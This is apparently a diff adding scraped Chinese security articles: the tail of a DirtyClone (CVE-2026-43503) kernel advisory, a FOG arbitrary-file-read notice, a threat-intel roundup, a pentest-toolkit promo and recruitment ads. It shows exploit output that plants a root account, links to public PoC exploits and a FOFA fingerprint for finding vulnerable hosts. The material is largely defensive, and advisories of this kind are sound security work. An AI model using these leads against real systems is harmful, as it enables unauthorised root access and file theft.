|
||||
```
|
||||
### 预期输出
|
||||
```
|
||||
[*] uid=1000 -> root
|
||||
[+] injected uid 0 account 'firefart' (password: pwned)
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
[+] root achieved
|
||||
|
||||
```
|
||||
## 缓解措施
|
||||
### 1. 立即修补（推荐）
|
||||
|
||||
更新 Linux 内核到修复版本：
|
||||
|
||||
<table><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: rgba(69, 214, 200, 0.1);"><th style="text-align: left;font-weight: bold;background-color: rgba(12, 115, 184, 0.8);color: #FFFFFF;font-size: 16px;padding: 10px;border: 1px solid #085685;min-width: 85px;"><section><span leaf="">发行版</span></section></th><th style="text-align: left;font-weight: bold;background-color: rgba(12, 115, 184, 0.8);color: #FFFFFF;font-size: 16px;padding: 10px;border: 1px solid #085685;min-width: 85px;"><section><span leaf="">修复内核版本</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: rgba(69, 214, 200, 0.1);"><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">Ubuntu 24.04 (noble)</span></section></td><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">6.8.0-124</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #FFFFFF;"><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">Ubuntu 22.04 (jammy)</span></section></td><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">5.15.0-181</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: rgba(69, 214, 200, 0.1);"><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">上游 mainline</span></section></td><td style="text-align: left;font-size: 15px;padding: 8px 10px;border: 1px solid #DDD;min-width: 85px;"><section><span leaf="">v7.1-rc5 (commit </span><code><span leaf="">48f6a5356a33</span></code><span leaf="">)</span></section></td></tr></tbody></table>
|
||||
```
|
||||
# Ubuntu/Debian
|
||||
sudo apt update && sudo apt upgrade linux-image-generic
|
||||
sudo reboot
|
||||
|
||||
# RHEL/CentOS
|
||||
sudo yum update kernel
|
||||
sudo reboot
|
||||
|
||||
```
|
||||
### 2. 临时缓解（无法立即修补时）
|
||||
#### 方法 A: 禁用非特权用户命名空间
|
||||
```
|
||||
# Debian/Ubuntu
|
||||
sudo sysctl -w kernel.unprivileged_userns_clone=0
|
||||
echo 'kernel.unprivileged_userns_clone=0' | sudo tee /etc/sysctl.d/99-dirtyclone.conf
|
||||
|
||||
```
|
||||
#### 方法 B: 黑名单 vulnerable 内核模块
|
||||
```
|
||||
# 创建模块黑名单
|
||||
sudo cat > /etc/modprobe.d/dirtyclone.conf <<EOF
|
||||
install rxrpc /bin/false
|
||||
install esp4 /bin/false
|
||||
install esp6 /bin/false
|
||||
EOF
|
||||
|
||||
# 卸载已加载的模块
|
||||
sudo rmmod rxrpc esp4 esp6 2>/dev/null || true
|
||||
|
||||
```
|
||||
> “
|
||||
> **注意**
|
||||
: 禁用 esp4
|
||||
/esp6
|
||||
会破坏 IPsec VPN 功能，仅在服务器不使用 IPsec 时适用。rxrpc
|
||||
模块仅在 AFS 部署中使用。
|
||||
|
||||
## 参考信息
|
||||
- **CVE 编号**
|
||||
: CVE-2026-43503
|
||||
|
||||
- **NVD 详情**
|
||||
: https://nvd.nist.gov/vuln/detail/CVE-2026-43503
|
||||
|
||||
- **Ubuntu 安全公告**
|
||||
: https://ubuntu.com/security/CVE-2026-43503
|
||||
|
||||
- **Debian 安全追踪**
|
||||
: https://security-tracker.debian.org/tracker/CVE-2026-43503
|
||||
|
||||
- **Red Hat Bugzilla**
|
||||
: https://bugzilla.redhat.com/show_bug.cgi?id=2480902
|
||||
|
||||
- **SUSE 安全公告**
|
||||
: https://www.suse.com/security/cve/CVE-2026-43503.html
|
||||
|
||||
- **JFrog 技术分析**
|
||||
: https://research.jfrog.com/post/dissecting-and-exploiting-linux-lpe-variant-dirtyclone-cve-2026-43503/
|
||||
|
||||
- **The Hacker News 报道**
|
||||
: https://thehackernews.com/2026/06/new-dirtyclone-linux-kernel-flaw-lets.html
|
||||
|
||||
- **Sansec 指南**
|
||||
: https://sansec.io/guides/dirty-clone
|
||||
|
||||
### 内核补丁链接
|
||||
- https://git.kernel.org/stable/c/48f6a5356a33dd78e7144ae1faef95ffc990aae0 (mainline fix)
|
||||
|
||||
- https://git.kernel.org/stable/c/fbeab9555564a1b98e8582cd106dfe46c4606991
|
||||
|
||||
- https://git.kernel.org/stable/c/179f1852bdedc300e373e807cc102cd81feff196
|
||||
|
||||
- https://git.kernel.org/stable/c/12401fcfb01f53ccc63ab0a3246570fe8f3105ee
|
||||
|
||||
- https://git.kernel.org/stable/c/989214c66884d70716d83dc1d0bf5e16287bf349
|
||||
|
||||
- https://git.kernel.org/stable/c/9bc9d6d6967a2239aa57af2aa53554eddd640d20
|
||||
|
||||
- https://git.kernel.org/stable/c/fc6eb39c55e97df2f94ad974b8a5bbcd019da2c8
|
||||
|
||||
- https://git.kernel.org/stable/c/ff375cc75f9167168db38e0464a482d5fbc8d81d
|
||||
|
||||
### POC/EXP 链接
|
||||
- https://github.com/mooder1/dirtyclone-CVE-2026-43503 (11 stars, 3 forks)
|
||||
|
||||
- https://github.com/aexdyhaxor/CVE-2026-43503-DirtyClone (2 stars)
|
||||
|
||||
- https://github.com/douglasmun/pagecache-lpe-containment-kit (防御工具包)
|
||||
|
||||
### 相关漏洞
|
||||
- CVE-2026-31431 (Copy Fail) — algif_aead 模块页缓存写入
|
||||
|
||||
- CVE-2026-43284 (DirtyFrag) — IPsec ESP 路径
|
||||
|
||||
- CVE-2026-43500 (DirtyFrag) — RxRPC 路径
|
||||
|
||||
- CVE-2026-46300 (Fragnesia) — skb_try_coalesce() 绕过
|
||||
|
||||
## 检测脚本
|
||||
```
|
||||
#!/bin/bash
|
||||
# DirtyClone CVE-2026-43503 单机检测脚本
|
||||
# 普通用户权限即可运行
|
||||
|
||||
echo "=== CVE-2026-43503 DirtyClone 漏洞检测开始 ==="
|
||||
|
||||
KERN_VER=$(uname -r)
|
||||
echo "[*] 当前内核版本: $KERN_VER"
|
||||
|
||||
# 提取主版本号和次版本号
|
||||
MAJOR=$(echo $KERN_VER | cut -d. -f1)
|
||||
MINOR=$(echo $KERN_VER | cut -d. -f2)
|
||||
PATCH=$(echo $KERN_VER | cut -d. -f3 | sed 's/[^0-9].*//')
|
||||
|
||||
echo "[*] 版本解析: $MAJOR.$MINOR.$PATCH"
|
||||
|
||||
# 检查是否在受影响范围内
|
||||
VULNERABLE=0
|
||||
|
||||
# 检查非特权用户命名空间是否启用
|
||||
UNPRIV_NS=$(cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null || echo "1")
|
||||
if [ "$UNPRIV_NS" = "1" ]; then
|
||||
echo "[!] 非特权用户命名空间已启用 (kernel.unprivileged_userns_clone=1)"
|
||||
else
|
||||
echo "[+] 非特权用户命名空间已禁用"
|
||||
fi
|
||||
|
||||
# 检查 vulnerable 模块是否加载
|
||||
for mod in esp4 esp6 rxrpc; do
|
||||
if lsmod | grep -q "^${mod} "; then
|
||||
echo "[!] 模块 $mod 已加载"
|
||||
fi
|
||||
done
|
||||
|
||||
# 版本范围检查 (简化版)
|
||||
if [ "$MAJOR" -lt 7 ] || ([ "$MAJOR" -eq 7 ] && [ "$MINOR" -eq 1 ] && [ "$PATCH" -lt 5 ]); then
|
||||
# 检查 LTS 修复版本
|
||||
if [ "$MAJOR" -eq 5 ] && [ "$MINOR" -eq 10 ] && [ "$PATCH" -ge 257 ]; then
|
||||
VULNERABLE=0
|
||||
elif [ "$MAJOR" -eq 5 ] && [ "$MINOR" -eq 15 ] && [ "$PATCH" -ge 208 ]; then
|
||||
VULNERABLE=0
|
||||
elif [ "$MAJOR" -eq 6 ] && [ "$MINOR" -eq 1 ] && [ "$PATCH" -ge 174 ]; then
|
||||
VULNERABLE=0
|
||||
elif [ "$MAJOR" -eq 6 ] && [ "$MINOR" -eq 6 ] && [ "$PATCH" -ge 141 ]; then
|
||||
VULNERABLE=0
|
||||
elif [ "$MAJOR" -eq 6 ] && [ "$MINOR" -eq 12 ] && [ "$PATCH" -ge 91 ]; then
|
||||
VULNERABLE=0
|
||||
elif [ "$MAJOR" -eq 6 ] && [ "$MINOR" -eq 18 ] && [ "$PATCH" -ge 33 ]; then
|
||||
VULNERABLE=0
|
||||
elif [ "$MAJOR" -eq 7 ] && [ "$MINOR" -eq 0 ] && [ "$PATCH" -ge 10 ]; then
|
||||
VULNERABLE=0
|
||||
elif [ "$MAJOR" -eq 7 ] && [ "$MINOR" -eq 1 ] && [ "$PATCH" -ge 5 ]; then
|
||||
VULNERABLE=0
|
||||
else
|
||||
VULNERABLE=1
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$VULNERABLE" -eq 1 ]; then
|
||||
echo ""
|
||||
echo "[!!!] 风险等级: 高危"
|
||||
echo "[!!!] 当前内核可能受 CVE-2026-43503 (DirtyClone) 影响"
|
||||
echo "[!!!] 建议立即更新内核或应用临时缓解措施"
|
||||
else
|
||||
echo ""
|
||||
echo "[+] 风险等级: 低"
|
||||
echo "[+] 当前内核版本似乎已修补此漏洞"
|
||||
fi
|
||||
|
||||
echo "=== 检测结束 ==="
|
||||
|
||||
```
|
||||
|
||||
报告生成时间: 2026-06-29数据来源: NVD, JFrog Security Research, kernel.org, GitHub, The Hacker News, Sansec
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
# FOG getfiles.php 任意文件读取漏洞
|
||||
Superhero
|
||||
Superhero Nday Poc 2026-06-30 02:31
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
内容仅用于学习交流自查使用，由于传播、利用本公众号所提供的
|
||||
POC
|
||||
信息及
|
||||
POC对应脚本
|
||||
而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号Nday Poc及作者不为此承担任何责任，一旦造成后果请自行承担！
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**漏洞概述**
|
||||
|
||||
|
||||
FOG getfiles.php 接口处任意文件读取漏洞，未经身份验证的攻击者利用此漏洞获取系统内部敏感文件信息，导致系统处于极不安全的状态。
|
||||
**02******
|
||||
|
||||
**搜索引擎**
|
||||
|
||||
|
||||
fofa:
|
||||
```
|
||||
icon_hash="-1952619005"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
**03******
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**自查工具**
|
||||
|
||||
|
||||
nuclei
|
||||
|
||||
|
||||
|
||||
afrog
|
||||
|
||||
|
||||
|
||||
|
||||
**05******
|
||||
|
||||
**修复建议**
|
||||
|
||||
|
||||
1、关闭互联网暴露面或接口设置访问权限
|
||||
|
||||
2、升级至安全版本
|
||||
|
||||
|
||||
**06******
|
||||
|
||||
**内部圈子介绍**
|
||||
|
||||
### 【Nday漏洞实战圈】🛠️
|
||||
|
||||
专注公开1day/Nday漏洞复现 · 工具链适配支持
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
🔍 **资源内容**
|
||||
|
||||
▫️ 整合全网公开1day/Nday漏洞POC详情
|
||||
|
||||
▫️ 适配Afrog/Nuclei检测脚本
|
||||
|
||||
▫️ 支持内置与自定义POC目录混合扫描
|
||||
|
||||
🔄 **更新计划**
|
||||
|
||||
▫️ 每周新增7-10个实用POC（来源公开平台）
|
||||
|
||||
▫️ 所有脚本经过基础测试，降低调试成本
|
||||
|
||||
🎯 **适用场景**
|
||||
|
||||
▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗 ▫️ 安全运维
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
⚠️ **重要声明**
|
||||
|
||||
▫️
|
||||
仅限合法授权测试，严禁违规使用
|
||||
|
||||
**▫️虚拟资源服务，购买后不接受任何形式退款**
|
||||
|
||||
▫️
|
||||
付款
|
||||
前请评估需求，慎重考虑
|
||||
|
||||
|
||||
|
||||
|
||||
+205
@@ -0,0 +1,205 @@
|
||||
# 【热点安全风险】6月30日 | 继DirtyFrag后又一Dirty系列漏洞：DirtyClone（CVE-2026-43503） Linux内核提权漏洞需重点关注
|
||||
华顺信安威胁情报中心 2026-06-29 23:30
|
||||
|
||||
**PART.****0****1**
|
||||
|
||||
|
||||
风险汇总
|
||||
|
||||
|
||||
|
||||
|
||||
风险一：CVE-2026-43503 DirtyClone公开，Linux服务器与容器宿主机面临本地提权风险
|
||||
|
||||
CVE-2026-43503是近期公开的Linux内核本地提权漏洞，JFrog将其称为DirtyClone，并在6月25日发布了研究分析。该漏洞影响Linux内核网络相关路径，公开资料显示未授权本地用户可能借此获得root权限，且Ubuntu说明中提到在部分场景下可能涉及容器逃逸风险。对企业而言，风险重点不在公网直接利用，而在于攻击者一旦通过Web漏洞、弱口令、CI/CD凭据或容器工作负载获得普通权限，就可能继续提升到宿主机或关键服务器高权限。
|
||||
|
||||
建议排查
|
||||
- 盘点Linux服务器、容器宿主机、Kubernetes节点、边缘网关、CI Runner和开发测试机的内核版本与发行版安全公告状态。
|
||||
|
||||
- 优先检查存在多租户用户、容器执行能力、外包远程登录、Web服务落点或批处理账号的Linux资产。
|
||||
|
||||
- 排查近期普通用户异常执行高权限命令、异常setuid文件访问、容器逃逸告警、节点级别EDR提权告警和内核异常崩溃记录。
|
||||
|
||||
- 对无法立即升级的高风险主机，确认是否存在非必要本地账号、可交互Shell、容器特权模式和过宽的命名空间能力。
|
||||
|
||||
加固建议
|
||||
- 按各发行版公告升级Linux内核，优先处理互联网业务节点、容器宿主机、CI/CD构建节点和承载敏感数据的服务器。
|
||||
|
||||
- 对短期无法重启的生产系统设置维护窗口，至少先降低本地用户和容器工作负载可接触的宿主机权限。
|
||||
|
||||
- 收紧容器运行时配置，避免特权容器、宿主机路径挂载、宿主网络和不必要的Linux capabilities。
|
||||
|
||||
- 将本地提权漏洞纳入入侵后处置流程，发现普通权限落点时同步检查内核补丁和主机完整性。
|
||||
|
||||
参考来源
|
||||
|
||||
https://security-tracker.debian.org/tracker/CVE-2026-43503
|
||||
|
||||
|
||||
风险二：Amazon Q Developer MCP配置漏洞已修复，AI编码插件可能成为云凭据暴露入口
|
||||
|
||||
Wiz披露Amazon Q Developer存在高危漏洞CVE-2026-12957，AWS也发布了安全公告。该问题与AI编码助手处理工作区配置、启动本地工具进程和继承开发者环境变量有关，可能使恶意代码仓库在开发者打开并信任工作区后触发命令执行，进而暴露AWS凭据、API Token、SSH Agent等敏感上下文。虽然公开资料称问题已修复且未见已知在野利用，但它反映出企业开发环境正在从“代码审查风险”扩展到“AI Agent工具链执行风险”。
|
||||
|
||||
建议排查
|
||||
- 盘点企业内Amazon Q Developer、AWS Toolkit、VS Code、JetBrains、Eclipse、Visual Studio等插件版本。
|
||||
|
||||
- 检查是否仍有低于AWS公告要求的Language Servers for AWS或Amazon Q Developer插件版本。
|
||||
|
||||
- 排查开发终端近期是否打开过外部招聘题、陌生开源项目、外包交付仓库或未经审核的PoC仓库。
|
||||
|
||||
- 检查开发者本地环境变量、AWS配置文件、云CLI缓存、SSH Agent和IDE插件日志是否存在异常访问迹象。
|
||||
|
||||
加固建议
|
||||
- 升级Amazon Q Developer及相关AWS语言服务到官方修复版本，并要求开发者重启IDE以触发更新。
|
||||
|
||||
- 将AI编码工具纳入终端软件资产和版本基线，禁止插件绕过企业应用商店或白名单策略自行安装。
|
||||
|
||||
- 对开发者云权限实施最小权限、短期凭据、会话边界和高危操作二次确认，减少单台开发机失陷后的云侧影响。
|
||||
|
||||
- 对所有能从仓库配置启动本地进程的AI Agent、MCP工具和IDE插件建立显式审批与日志审计要求。
|
||||
|
||||
参考来源
|
||||
|
||||
https://thehackernews.com/2026/06/amazon-q-developer-flaw-could-let.html
|
||||
|
||||
|
||||
风险三：OpenAI“伪租户邀请”被用于定向钓鱼，企业AI工作区需校验组织归属
|
||||
|
||||
Push Security披露攻击者创建冒充真实公司的OpenAI组织租户，并向目标员工发送看似正常的组织邀请；BleepingComputer称该活动已针对网络安全公司出现。此类风险不是传统软件漏洞，而是滥用合法SaaS邀请流程：邮件来源和页面体验可能具有较高可信度，员工一旦加入攻击者控制的组织，就可能在聊天、项目、文件和协作流程中输入源代码、客户资料、安全研究、漏洞信息或内部决策内容。
|
||||
|
||||
建议排查
|
||||
- 调查员工近期是否收到异常OpenAI、ChatGPT、AI协作平台或其他SaaS组织邀请，尤其是组织名称与公司名称相似但域名或管理员不一致的邀请。
|
||||
|
||||
- 检查企业邮箱中来自合法SaaS通知地址的批量邀请、异常Owner/Admin授权和非公司域名管理员信息。
|
||||
|
||||
- 对安全、研发、销售、法务、高管助理等高敏岗位确认是否加入过非企业正式管理的AI工作区。
|
||||
|
||||
- 回溯是否有敏感资料被上传到非企业批准的AI组织、项目空间、共享聊天或外部协作环境。
|
||||
|
||||
加固建议
|
||||
- 建立AI工作区官方组织清单，明确公司允许加入的租户名称、管理员、域名和审批流程。
|
||||
|
||||
- 对员工宣导“来自合法平台的邀请不等于可信组织”，要求所有异常组织邀请先经IT或安全团队确认。
|
||||
|
||||
- 使用CASB、SSO日志、浏览器审计或邮件规则监测非授权AI平台组织加入行为。
|
||||
|
||||
- 对已误加入可疑租户的员工立即退出组织，清理共享内容，评估已输入数据范围并执行必要的客户和合规处置。
|
||||
|
||||
参考来源
|
||||
|
||||
https://www.bleepingcomputer.com/news/security/cybersecurity-firms-targeted-by-fraudulent-openai-organization-invites/
|
||||
|
||||
|
||||
风险四：npm包结合VS Code自动任务投递窃密链，开发者“打开项目”本身成为执行触发点
|
||||
|
||||
JFrog披露两个被劫持的npm包html-to-gutenberg和fetch-pacage-assets被用于多阶段投递，攻击链利用VS Code工作区任务自动触发，并通过外部链路分发后续载荷。该类攻击对企业研发团队的启示很直接：供应链风险不再只发生在npm install或构建阶段，IDE打开目录、自动任务、AI编码工具初始化、预览插件和本地脚本也可能成为执行边界。
|
||||
|
||||
建议排查
|
||||
- 在代码仓库和开发终端中搜索是否出现html-to-gutenberg、fetch-pacage-assets及相关异常版本或缓存包。
|
||||
|
||||
- 检查仓库内.vscode/tasks.json、IDE自动任务、工作区配置、隐藏脚本和异常二进制/字体/资源文件。
|
||||
|
||||
- 排查开发机近期是否出现异常Node/Python进程、外联域名、浏览器凭据访问、钱包文件访问和环境变量读取行为。
|
||||
|
||||
- 对最近从外部接收的开源项目、插件模板、WordPress/Gutenberg相关项目做一次依赖和工作区配置复核。
|
||||
|
||||
加固建议
|
||||
- 禁用或限制IDE在打开文件夹时自动执行任务，至少要求开发者对外部仓库进行显式确认。
|
||||
|
||||
- 对开发机启用EDR、DNS日志、进程命令行审计和敏感文件访问监控，覆盖IDE子进程。
|
||||
|
||||
- 在代码评审和供应链扫描中纳入.vscode、.idea、MCP配置、Agent配置和本地任务脚本。
|
||||
|
||||
- 对疑似受影响开发机轮换npm、GitHub、云平台、代码仓库、包管理器和CI/CD相关Token。
|
||||
|
||||
参考来源
|
||||
|
||||
https://thehackernews.com/2026/06/hijacked-npm-and-go-packages-use-vs.html
|
||||
|
||||
|
||||
风险五：KDDI邮箱系统事件或影响1422万账号，跨服务凭据复用和邮件接管风险需前置处理
|
||||
|
||||
日本电信运营商KDDI披露其为多家ISP提供的邮件系统遭未授权访问，公开报道称可能影响最高约1422万组邮箱账号信息，事件与第三方软件漏洞有关。邮箱账号一旦泄露，后续风险通常不是单一邮箱被登录，而是围绕密码复用、找回密码、账单通知、企业供应商邮件、钓鱼再投递和身份冒用持续扩散。
|
||||
|
||||
建议排查
|
||||
- 识别企业员工、供应商、外包人员是否使用受影响ISP邮箱作为工作联络、备用邮箱或第三方系统找回邮箱。
|
||||
|
||||
- 在身份平台、VPN、SaaS、代码仓库和财务系统中检查是否存在与受影响个人邮箱绑定的账号。
|
||||
|
||||
- 监测近期来自日本ISP邮箱域的异常登录、邮件规则变更、OAuth授权、转发规则和大批量发信行为。
|
||||
|
||||
- 对被用于业务往来的外部邮箱联系人建立风险标记，警惕付款变更、合同修改、附件替换和链接投递。
|
||||
|
||||
加固建议
|
||||
- 要求相关员工和外部合作人员立即更换邮箱密码，并避免与企业系统、VPN、SaaS账号复用密码。
|
||||
|
||||
- 对企业关键系统启用MFA和异常位置登录风控，禁止个人邮箱作为高权限账号唯一恢复渠道。
|
||||
|
||||
- 对供应商付款、银行账号、合同附件和账号恢复请求执行二次人工核验。
|
||||
|
||||
- 将大规模邮箱泄露纳入钓鱼预警，提前更新邮件网关、EDR和身份平台检测策略。
|
||||
|
||||
参考来源
|
||||
|
||||
https://www.bleepingcomputer.com/news/security/data-breach-exposes-up-to-142-million-email-logins-at-six-isps/
|
||||
|
||||
|
||||
风险六：Polymarket前端依赖供应链事件造成资金损失，金融类Web应用需复核第三方脚本权限
|
||||
|
||||
Polymarket确认第三方供应商被入侵后，攻击者向其前端注入恶意脚本，公开报道称部分用户资金损失约300万美元。该事件对企业Web系统具有通用警示意义：即使核心后端和智能合约未被直接攻破，只要前端加载的第三方脚本、分析组件、客服组件、支付组件或依赖包可在用户浏览器中执行，就可能影响交易授权、登录会话、表单数据和用户信任。
|
||||
|
||||
建议排查
|
||||
- 盘点企业官网、SaaS门户、支付页面、客户后台、运营管理台加载的第三方JavaScript、SDK、Tag和CDN资源。
|
||||
|
||||
- 检查金融交易、钱包、订单、支付、合同签署、身份验证等页面是否允许第三方脚本读取或影响关键操作。
|
||||
|
||||
- 排查近期前端构建产物、CDN缓存、标签管理系统、供应商脚本版本和上线审批记录是否异常。
|
||||
|
||||
- 监测用户侧异常交易、异常授权、表单字段被篡改、浏览器控制台报错和前端资源哈希变化。
|
||||
|
||||
加固建议
|
||||
- 对关键页面实施第三方脚本最小化，能下线的下线，必须保留的按域名、路径、版本和用途建立白名单。
|
||||
|
||||
- 对外部脚本启用SRI、CSP、版本锁定、变更审批和上线后完整性监控。
|
||||
|
||||
- 对高价值操作增加服务端校验、交易摘要确认、风险二次验证和异常行为阻断，避免完全信任前端展示。
|
||||
|
||||
- 与关键供应商明确安全通知、代码变更、依赖更新、入侵通报和取证协作时限。
|
||||
|
||||
参考来源
|
||||
|
||||
https://www.bleepingcomputer.com/news/security/polymarket-customers-lose-3-million-in-supply-chain-attack/
|
||||
|
||||
|
||||
**PART.****02**
|
||||
|
||||
|
||||
总体处置建议
|
||||
|
||||
|
||||
|
||||
|
||||
今天企业应优先关注三条风险线：Linux内核本地提权带来的入侵后放大风险，AI编码工具、IDE任务和npm包引入的开发终端执行风险，以及SaaS租户、邮箱账号和前端第三方脚本带来的身份与数据外泄风险。拥有Linux生产集群、容器平台、云开发团队、AI协作工作区、Web交易页面和大量外部邮箱往来的企业，建议把今天的排查重点放在补丁闭环、开发环境隔离、租户归属确认和第三方脚本治理上。
|
||||
|
||||
|
||||
整体风险处置建议
|
||||
- 以CVE-2026-43503为优先项建立Linux内核修复清单，先处理容器宿主机、CI节点、互联网业务节点和多用户服务器。
|
||||
|
||||
- 对AI编码助手、IDE插件、MCP配置、工作区自动任务和开发者云凭据做一次统一治理，禁止仓库配置默认获得执行能力。
|
||||
|
||||
- 对企业AI工作区、SaaS组织邀请、个人邮箱绑定和外部协作账号建立可核验的官方清单。
|
||||
|
||||
- 对npm、GitHub、云平台、CI/CD、包管理器和开发终端凭据实施最小权限、短期化和异常访问告警。
|
||||
|
||||
- 对面向客户的Web前端清点第三方脚本和供应商依赖，优先保护登录、支付、交易、合同和资料上传页面。
|
||||
|
||||
- 对今天涉及的系统保留登录、进程、DNS、云API、前端资源变更和供应商通知记录，便于后续发现异常时快速回溯。
|
||||
|
||||
合规说明：以上内容基于公开信息整理，仅用于网络安全防护与管理决策参考，具体影响范围与修复方式请以厂商官方公告为准。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
# 安全工具丨一款本地离线可用的可视化渗透测试与漏洞挖掘平台
|
||||
原创 蓝星安全
|
||||
蓝星安全 蓝星安全 2026-06-29 22:00
|
||||
|
||||
|
||||
**点击上方****蓝星安全****关注我**
|
||||
|
||||
****
|
||||
|
||||
**免责声明：本公众号分享的任何资料仅限用于安全学习，严禁用于其他用途，请严格遵守中华人民共和国法律法规，对因不遵守国家法律法规而产生的任何后果，均由个人自行承担，本公众号不承担任何责任！**
|
||||
|
||||
****
|
||||
**获取资料，请扫码下方二维码加入知识星球**
|
||||
|
||||
|
||||
## 一、简介
|
||||
|
||||
ARS3NAL（是一个**本地优先、离线可用**
|
||||
的渗透测试与漏洞赏金工具集。它将渗透测试中常用的各类资源整合到一个应用程序中，包括**payloads、命令生成器、GTFOBins、wordlists、嵌入式CyberChef、反弹shell、checklists以及项目跟踪器**
|
||||
。与许多依赖云端的工具不同，**ARS3NAL的所有数据都存储在本地SQLite数据库中**
|
||||
，无需账户、无遥测、无云依赖，确保你的测试数据完全由自己掌控
|
||||
。
|
||||
|
||||
|
||||
## 二、核心功能亮点
|
||||
### 2.1 攻击链（Attack Chains）：从发现到利用的清晰路径
|
||||
|
||||
这是ARS3NAL v1.1.0版本的新增功能。它提供了**92条精心策划的攻击链，覆盖11个领域**
|
||||
（如IDOR、注入、OAuth/SSO、SSRF、XSS/CSRF、文件上传/LFI、API/GraphQL等）
|
||||
。
|
||||
|
||||
每条攻击链都按难度等级（新手/中级/高级）标记，并且每一步都包含具体目标和可执行的payload或命令。你只需粘贴自己的测试账户或客户端ID，攻击链中的步骤就会自动填充，形成一条清晰的攻击路径
|
||||
。
|
||||
|
||||
|
||||
### 2.2 命令生成器：点击即生成
|
||||
|
||||
这是ARS3NAL的核心功能之一。**支持59种工具的图形化命令构建**
|
||||
，包括nmap、ffuf、sqlmap、gobuster、hashcat等。你只需点击勾选需要的参数选项，命令便会自动组装，并附有每个参数的详细说明（支持中英文切换）
|
||||
。
|
||||
|
||||
更智能的是，你可以在顶部栏一次性设置**目标IP（TARGET）和本地IP（LHOST）**
|
||||
，这些变量会自动替换到所有工具的命令示例中，彻底告别手动修改IP的繁琐流程
|
||||
。
|
||||
### 2.3 GTFOBins与反弹shell生成器
|
||||
|
||||
**内置了全部458个GTFOBins条目**
|
||||
，可按功能（如shell、文件读取、sudo、SUID等）进行筛选过滤，并且每条技巧都提供了英文和俄文说明
|
||||
。反弹shell生成器支持生成**reverse/bind/msfvenom**
|
||||
等多种类型的shell，并集成了编码选项（base64/URL/PowerShell），LHOST同样全局共享
|
||||
。
|
||||
### 2.4 离线攻击实验室
|
||||
|
||||
ARS3NAL提供了**交互式的OAuth/SSO和JWT攻击实验室**
|
||||
。它能在浏览器端模拟构建恶意授权URL（含redirect_uri绕过、PKCE降级、CSRF等攻击手法），以及进行JWT令牌的伪造（如alg:none攻击、RS256转HS256密钥混淆、kid路径遍历等），所有操作都在本地完成
|
||||
。
|
||||
### 2.5 报告模板与项目跟踪
|
||||
|
||||
内置了针对不同漏洞类型（如IDOR、OAuth ATO、SSRF、XSS、SQLi、RCE等）的**报告骨架**
|
||||
，预填了CWE编号和CVSS 3.1向量。你可以将当前项目目标和上下文令牌一键替换到报告中，并导出为Markdown格式
|
||||
。
|
||||
## 三、立即获取
|
||||
|
||||
https://github.com/inflictx/Arsenal
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
# 已入职宇树网络安全岗，这点面试真的水/网安挖漏洞，日入两千六有多爽,一篇总结所有平台...
|
||||
ice_[旺柴]qaq
|
||||
ice_[旺柴]qaq Ice ThirdSpace 2026-06-30 02:00
|
||||
|
||||
放眼未来，AI安全将成为核心赛道。作为人形机器人领域的头部玩家，宇树必须把安全底座夯实到位，下面是我为
|
||||
安全岗位面试整理的一些资料
|
||||
。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
本人大厂网络安全攻防岗在职，大厂核心岗月入4w十，网络安全人才急缺，抽空带几个朋友，从0-1搞定网络安全全路程，二套路。可以教渗透测试实战，漏洞挖掘与修复，网络安全防护等，学会了带你挖漏洞兼职。
|
||||
|
||||
要求:·每天有空闲时间学习，有需要的点我头像关注一下+丝信888就行!
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
# 开源企业级主机与容器安全管理平台 | 安全基线、资产管理、漏洞扫描、病毒查杀、EDR 检测与合规审计
|
||||
matrixplusio
|
||||
matrixplusio 夜组安全 2026-06-29 23:30
|
||||
|
||||
免责声明
|
||||
|
||||
由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号夜组安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！
|
||||
**所有工具安全性自测！！！VX：**
|
||||
**NightCTI**
|
||||
|
||||
朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把
|
||||
**夜组安全**
|
||||
“**设为星标**
|
||||
”，
|
||||
否则可能就看不到了啦！
|
||||
|
||||
|
||||
|
||||
|
||||
## 工具介绍
|
||||
|
||||
开源的企业级主机与容器安全管理平台。覆盖安全基线、资产管理、漏洞扫描、病毒查杀、EDR 检测与合规审计，面向安全运营团队提供统一管控视图。
|
||||
|
||||
|
||||
|
||||
|
||||
## 社区版说明
|
||||
|
||||
MxCwpp Platform **社区版**
|
||||
